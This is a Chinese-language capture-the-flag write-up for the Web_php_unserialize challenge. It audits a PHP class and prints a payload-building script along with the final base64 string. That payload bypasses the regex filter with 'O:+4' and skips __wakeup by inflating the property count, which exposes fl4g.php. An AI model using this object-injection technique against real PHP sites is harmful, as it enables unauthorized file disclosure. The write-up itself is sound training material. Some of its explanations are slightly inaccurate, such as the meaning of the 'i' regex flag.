攻防世界系列:Web_php_unserialize
0x01.代码审计
1.类Demo中struct()、destruct()函数分别在代码执行开始和结束时调用。而wakeup函数会在代码执行过程中自动调用。
2.对于我们传入的参数还要被preg_math()函数过滤。
3.在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object(对象)的个数和之前的个数不等时,wakeup就会被绕过。
4.flag 在 fl4g.php 文件中,要想显示该文件需要绕过
第一:
preg_match('/[oc]:\d+:/i', $var)
第二:
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
wakeup 函数是魔术用法会在对象反序列化时自动执行。
file = $file; } function \_\_destruct() { echo @highlight\_file($this->file, true); } function \_\_wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($\_GET\['var'\])) { $var = base64\_decode($\_GET\['var'\]); if (preg\_match('/\[oc\]:\\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight\_file("index.php"); } ?>补充:
1.反序列化漏洞?
php中提供两个函数可将任意类型数据转换成string类型,或逆过程。
Serizlaze
Unserialize
当unserialize的参数被用户控制时,就会形成反序列化漏洞。
2.魔术函数?
magic函数,通常以“__"开头(如__construct\__destruct\__toString\__sleep\__wakeup)
__toString当对象被以字符串输出时调用
__sleep当对对象序列化时调用(如果存在的话),常用于提交未提交的数据
__wakeup当对对象反序列化时调用(如果存在的话),常用于重新建立数据库连接,或执行其他初始化操作
0x02.参数构造
file = $file; } function \_\_destruct() { echo @highlight\_file($this->file, true); } function \_\_wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $A = new Demo('fl4g.php'); $C = serialize($A); //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}" $C = str\_replace('O:4', 'O:+4',$C);//绕过preg\_match $C = str\_replace(':1:', ':2:',$C);//绕过wakeup var\_dump($C); //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" var\_dump(base64\_encode($C)); //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==" ?>1.
我们构造脚本把字符串 fl4g.php 序列化后层层伪装,在进行base64加密(因为源代码中有base64解密)
字符串" fl4g.php " 序列化后为 "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
2.
preg_match('/[oc]:\d+:/i', $var)
--- preg_match正则函数
--- \d 整形数
--- i 区分大小写
函数想过滤 “ O:4 ”我们就伪装成“O:+4” 即$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
3.
function __wakeup() {
if ($this->file != 'index.php')
{
//the secret is in the fl4g.php
$this->file = 'index.php';
}
当反序列化后的对象个数大于原来的个数时 wakeup函数就会被绕过,所以我们可以把对象个数写成2个
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
注意:
$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”,所以base64加密最好在代码中执行防止复制漏掉
00x3.Get Flag
输出运行结果:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
传参var
手机扫一扫
移动阅读更方便
你可能感兴趣的文章